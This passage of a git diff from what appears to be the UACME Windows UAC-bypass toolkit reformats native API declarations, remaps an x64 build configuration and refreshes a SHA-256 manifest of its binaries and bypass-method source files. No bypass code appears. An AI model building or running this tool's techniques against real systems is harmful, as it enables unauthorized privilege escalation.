_In_opt_ PVOID ApcArgument1, _In_opt_ PVOID ApcArgument2, - _In_opt_ PVOID ApcArgument3 - ); + _In_opt_ PVOID ApcArgument3); NTSTATUS NTAPI NtWaitForSingleObject( _In_ HANDLE Handle, _In_ BOOLEAN Alertable, - _In_opt_ PLARGE_INTEGER Timeout - ); + _In_opt_ PLARGE_INTEGER Timeout); NTSTATUS NTAPI NtYieldExecution( - VOID - ); + VOID); NTSTATUS NTAPI NtCreateMailslotFile( _Out_ PHANDLE FileHandle, @@ -6214,8 +6303,7 @@ NTSTATUS NTAPI NtCreateMailslotFile( _In_ ULONG CreateOptions, _In_ ULONG MailslotQuota, _In_ ULONG MaximumMessageSize, - _In_ PLARGE_INTEGER ReadTimeout -); + _In_ PLARGE_INTEGER ReadTimeout); NTSTATUS NTAPI NtSecureConnectPort( _Out_ PHANDLE PortHandle, @@ -6226,5 +6314,9 @@ NTSTATUS NTAPI NtSecureConnectPort( _Inout_opt_ PREMOTE_PORT_VIEW ServerView, _Out_opt_ PULONG MaxMessageLength, _Inout_opt_ PVOID ConnectionInformation, - _Inout_opt_ PULONG ConnectionInformationLength -); + _Inout_opt_ PULONG ConnectionInformationLength); + +NTSTATUS NTAPI NtEnumerateBootEntries( + _Out_ PVOID Buffer, + _Inout_ PULONG BufferLength); + diff --git a/Source/uacme.sln b/Source/uacme.sln index c6c653f..9333617 100644 --- a/Source/uacme.sln +++ b/Source/uacme.sln @@ -112,8 +112,8 @@ Global {3BEF8A16-981F-4C65-8AE7-C612B46BE446}.Debug|x64.Build.0 = Debug|x64 {3BEF8A16-981F-4C65-8AE7-C612B46BE446}.Release|Win32.ActiveCfg = Release|Win32 {3BEF8A16-981F-4C65-8AE7-C612B46BE446}.Release|Win32.Build.0 = Release|Win32 - {3BEF8A16-981F-4C65-8AE7-C612B46BE446}.Release|x64.ActiveCfg = Release|x64 - {3BEF8A16-981F-4C65-8AE7-C612B46BE446}.Release|x64.Build.0 = Release|x64 + {3BEF8A16-981F-4C65-8AE7-C612B46BE446}.Release|x64.ActiveCfg = ReleaseInternal|x64 + {3BEF8A16-981F-4C65-8AE7-C612B46BE446}.Release|x64.Build.0 = ReleaseInternal|x64 {3BEF8A16-981F-4C65-8AE7-C612B46BE446}.ReleaseInternal|Win32.ActiveCfg = Release|Win32 {3BEF8A16-981F-4C65-8AE7-C612B46BE446}.ReleaseInternal|Win32.Build.0 = Release|Win32 {3BEF8A16-981F-4C65-8AE7-C612B46BE446}.ReleaseInternal|x64.ActiveCfg = Release|x64 diff --git a/UACME.sha256 b/UACME.sha256 index 387032a..5764dde 100644 --- a/UACME.sha256 +++ b/UACME.sha256 @@ -1,8 +1,8 @@ -a9ed36b3b02bac486e82e55ebc2f1276de8bb442457d445b39f9ca79fd1508c0 *Compiled\Akagi32.exe -ba610693469c3034ebf9d86f570313fd67a0b9324b29d86f51ec9aef3269a3e2 *Compiled\Akagi64.exe +46e4306bdea79c3e8269b78637bbbe510d6ee65ea18268f7788aec26b4806c41 *Compiled\Akagi32.exe +b0e32db8c822014c282ef3aba46bac0bf934c4c3d0fcde2f3bf5f64f39789044 *Compiled\Akagi64.exe 376d63708d4e0d761f6d9224b9d5504c07b3cd5b5ae5fd40a3a3d77c4d5873d5 *Compiled\UacInfo64.exe c7aa5be04dbf1ffdd076120a617eb5e7ea154a37f5811de5b30fa006c69a4c7c *Compiled\Symdll\readme1st.txt -071fc8be1475719eca58c9dffb36e84a4c281ec77c84f82518d948d9d13d0e9a *Source\uacme.sln +4d14153dd95bd5441763283de03afb74aa5f3fc0b68d7629be43d27e3d41c5e1 *Source\uacme.sln 8172069709954a5616b75306e565cbc5cd5baada00c15cba084420e61bebcdaf *Source\Akagi\akagi.ico 02238b1720b8514de36ae80fa3d07c377d22e6befe99a7b87d4da9d60d23be02 *Source\Akagi\akagi.manifest 3fb2b94aa2ee33753fcc20fa1834be8a929a29248217cfb84a54956eeea1a824 *Source\Akagi\bin32res.h @@ -18,7 +18,7 @@ a8ec3b9411f2408b5cfa4b0c77aa045957d3144aebd343cfa7da03d78226e3b3 *Source\Akagi\m bd7f1ebd11ed2313bef81c4701b2444ab37d9723493bfeb9de5db2063a5213e2 *Source\Akagi\makecab.h f1b82b53b74b4586c58b0e3a87aceb1ee43e493ef58aa9490297c6bbef247de0 *Source\Akagi\manifest.h c90cec4c10cde815fd286d83601b4cd3738097e8e0b2e592dc28c1325c12918d *Source\Akagi\resource.h -d590ad1ea548b06e8cd897742fe94f7e5aad08438baa02131ab41ef5669b7b0e *Source\Akagi\Resource.rc +dae1ff25ab3cfa35aacd0eb1aace255ab4aa2c578d656fb81b13664d02d176e3 *Source\Akagi\Resource.rc 1cf5e1ebaf5cfb80b420fb87ff8f7d31a2b9b75dc338edb4ea6820c4beeaf36c *Source\Akagi\sup.c 37953ab7189a09fce908de75b5ce2871aaad5a04c78dca833e13318d93ece3a8 *Source\Akagi\sup.h a13d31cf040775c51471e3fe6b4863d879fefb189798a24f76189abaebdbdf27 *Source\Akagi\uacme.suppress @@ -43,7 +43,7 @@ c994f782c64a1a18caaab60418de573ade7e87fdc964e25557ac79eb549c7cd5 *Source\Akagi\m d9ac1c8eedf9c9d5ed6cbf0ffeeaa13ba376760ade0d1dc6750121ed48a5b63b *Source\Akagi\methods\carberp.h 0182da81c73323b843725eaec652ec2f2c95231e302b765de2ce37e09c899ab9 *Source\Akagi\methods\comet.c 7619c01b21279a0f318e7f3c091f5b54f9a37425b4a083e277e0adfc11da2913 *Source\Akagi\methods\comet.h -07370a4fdfa4cc13ca49ab07bd40aff981015c79c44e1d8f30c658cb83a7ad3a *Source\Akagi\methods\enigma0x3.c +393ba6fbfe154be58e018066bb2edcce2abb2b6bc3a209de23a279a0edde153e *Source\Akagi\methods\enigma0x3.c 878dd7452a54e15999a0eab9dc22c4bc7cbb5e5b5e71cfece307349eb79e4dc5 *Source\Akagi\methods\enigma0x3.h e297e3858f2754f7d45876c087d606a2b10e6007ff96fdc00e27db6c731f163c *Source\Akagi\methods\explife.c 1b3b895fa6b99df9055b6514e8dc5212ce61cd7d2500c2fea95085440e7b5b34 *Source\Akagi\methods\explife.h @@ -51,8 +51,8 @@ be58d05b4f21e4cbc7a06d409c2f0002eee660d8a9017b1d103f35cdb7d9461c *Source\Akagi\m 7a01e30bf58f6e87112812e11fd81e250ecfadfe9fb1206e9f4ec06607dad714 *Source\Akagi\methods\gootkit.h 5887a1083e6343ea5e6effbd0def4631fc988df14e0a4c2147d68cb70e90fcf2 *Source\Akagi\methods\hybrids.c 6327a9b8e9c19adee0d56e666756dd4a0edcc327c8ed0341f11bb80e12feaaa5 *Source\Akagi\methods\hybrids.h -4fc2df6c52750c4f248795620ed5707dc52cc07647a63d1bffdb73ba48105f02 *Source\Akagi\methods\methods.c -d105d38ed85bc199d62f2d185f8887b7c3fb098212ab944a835619f72add91e5 *Source\Akagi\methods\methods.h +3155b7598ca2aad4e77a48f0351a8436c8780384820e83422bd8c2afb12a4586 *Source\Akagi\methods\methods.c +adb791a9ef390b95f6f603c6e88c619c5031f42724843681b1562b9356d4d65a *Source\Akagi\methods\methods.h fd7e8e20de8f3763a418368431c0b6b7131d940e7b775c165b095f78386b849b *Source\Akagi\methods\pitou.c 9754f1d2195c6d2ef6a228677d1a8fb8e92318aece0c389b3f28a87eeffe9827 *Source\Akagi\methods\pitou.h 3dd668663873b0e7816a2d2e89fb53ae2a418b1338b6530a9e3a1743e8bbd3fd *Source\Akagi\methods\sandworm.c @@ -60,8 +60,8 @@ a38afbbd8ff528662d4f61ea1f688f44778f524d18dcc08badbd182b6537d7a5 *Source\Akagi\m 629be7ba979bcf0133b6a222ac358d7c9f3b4fe2f341d284a969b1a279b7dc0e *Source\Akagi\methods\simda.c 3c3a6eb8ee56ccffedd490e87b8a2fdec7e4b09bdb2650d231f2805a27e56ade *Source\Akagi\methods\simda.h 8d95d0c5a788964202100208749ab9744180f0ea36fa222a4a3adc1d0e3f90a1 *Source\Akagi\methods\sirefef.h -2fac6223bf4efb175c214f6a18fb235dae72b378db85a4e77cab58c6c0cba7e0 *Source\Akagi\methods\tyranid.c -781e60e1e3e89a566b11a346ae111fb95940bdcb2565da249e1f1885ca0612f8 *Source\Akagi\methods\tyranid.h +813c594498f7f79e160f0775a6886fff179e43416e7aa79709bd779ffde9e582 *Source\Akagi\methods\tyranid.c +233335679cbdb8023211a848051420a7e9a02b72c0af89ff0e5eb19fc018edb4 *Source\Akagi\methods\tyranid.h 7266faf9d86af33e32023964bb666bb5fb5288586a38992f020796b75c0e9b15 *Source\Akagi\tests\test.c b073f6d614bcdc345db660edf36784d1587e3f3ab309bfb871a0ce510faa57a6 *Source\Akagi\tests\test.h 09bd7cf61a0e2bf4474e8a11f88ba61f62fe26138acabc7bac71d336232285fc *Source\Akatsuki\akatsuki.suppress @@ -83,6 +83,7 @@ a2b59d06ad6f6af9ac19b5b15c987c246eb059eade447b63c3113646c6ef52a0 *Source\Fubuki\ 1d5b354a2f9225c3e410b3fc43bf8e9984de8fff8221c9f532483d22e54ab42f *Source\Fubuki\version.rc eccff5e3d98818d8ea5393d86379985c8eee5b0ac44d06e1c8b52b29d96cf066 *Source\Fubuki\wbemcomn.h 039659963ca2e567fe2a2c074c068a5b6ae11ce6664f319f10755f6ea4ff681b *Source\Hibiki\dllmain.c +fc32b236825eaad7806a7cbed561f751496deace5cc0a3b72856d934c879a31a *Source\Hibiki\hibiki.suppress 1df0cd6cef001334dbe6877d8a68d34089f6a0f11dcebc7f1d08d3835d50cd8b *Source\Hibiki\Hibiki.vcxproj eaf764a71dca55552f81e54f864acf78bb081b8d42de8cfcf67c69347a297809 *Source\Hibiki\Hibiki.vcxproj.filters cb5688faa7cfe99a609ecdb7131f218628dbe34b8fb39ba83a2328227bc63179 *Source\Hibiki\Hibiki.vcxproj.user @@ -99,12 +100,12 @@ d196af9df08cbdaff3817f0e56bb356ae21e1dcbc6853482f14fd555e98aebb2 *Source\Ikazuch 82868f43880065610efe2dc0532876384b3f04d57a17a6f95d5fd71784cfa2db *Source\Inazuma\Inazuma.vcxproj 0cd995b29fdec206817ef1939ac1b9c1a10bc87fff80490f030097a8a0e07c49 *Source\Inazuma\Inazuma.vcxproj.filters cb5688faa7cfe99a609ecdb7131f218628dbe34b8fb39ba83a2328227bc63179 *Source\Inazuma\Inazuma.vcxproj.user -c77993138f2b53f7a5d133b3f874b615c0e255e1d165b9cb15d89c2c2aab0b16 *Source\Inazuma\main.c +74f75ab22ee4c276633a0eafcbaa31b663b0106dd261ad4627fcdaa149a55751 *Source\Inazuma\main.c 6f2113fc347bee7d74be4f51732f1f182956ba172a6fa34eed9a5aa9e10d9f41 *Source\Kongou\Kongou32.dll f3fb336afb735d40932918b52c2e8660861be9693c2911a1534b70d29a622826 *Source\Kongou\Kongou64.dll 1cae1ba300975774a60dc519d957c530bfe2443f204e28255f26af1523f56087 *Source\Naka\main.c d96fae8d500b17819fe4426df12f68630c5178eff7006e9ea514e125592650f2 *Source\Naka\naka.suppress -5ded12baf68520e2176fa5d61dfb22295adb6b12e4cb31f57434b2df05bfd8c8 *Source\Naka\Naka.vcxproj +9e83a2daa3d4a17cd561676aedd0d8aef3ca4308921d3811a275055288a1c184 *Source\Naka\Naka.vcxproj 4eb5cb6614af01ec00f9e01c016484880cffb41e65790ae9924639935752b31d *Source\Naka\Naka.vcxproj.filters abd562aa6b8721caf958b4f87b67787a82ab81b64df21c46df01f67891c37ce7 *Source\Naka\Naka.vcxproj.user 893b90b942372928009bad64f166c7018701497e4f7cd1753cdc44f76da06707 *Source\Shared\cmdline.c @@ -112,7 +113,7 @@ bd6fe82852c4fcdfab559defa33ea394b752a4e4a5ac0653ae20c4a94b0175ed *Source\Shared\ 01c5aada277c3a7a138ab7c31beda0decee8ec28fe7525e43ca524b2b0270213 *Source\Shared\ldr.c b22c6d2722fa9e917746502fd4615d28b9c889d7288fc737315150e0ae40ee6f *Source\Shared\ldr.h 107245437ed86b6f1e839b2d3d9bbadb3d9980046cb5c7001f985fed3627962f *Source\Shared\minirtl.h -31d27cc36d83e20db9ea6fbe35e395e18568403c806bb43707bd228f569dea45 *Source\Shared\ntos.h +5d1e45dfb65548af3fa7e13792d4cca37ddbb8324e7ec1c21fd9a6d9ea49922f *Source\Shared\ntos.h 3fccfae61f8e59435c180be88cb46967361ed61ec1314532dddabf12679902b1 *Source\Shared\ntsxs.h b9de99d3447bb1a125cb92aa1b3f9b56a59522436f1a1a97f23aac9cee90341c *Source\Shared\rtltypes.h ca0b7a38be2f3f63a69aca6da7b3a62a59fcefee92de00e9796f68d4a2a23158 *Source\Shared\strtoi.c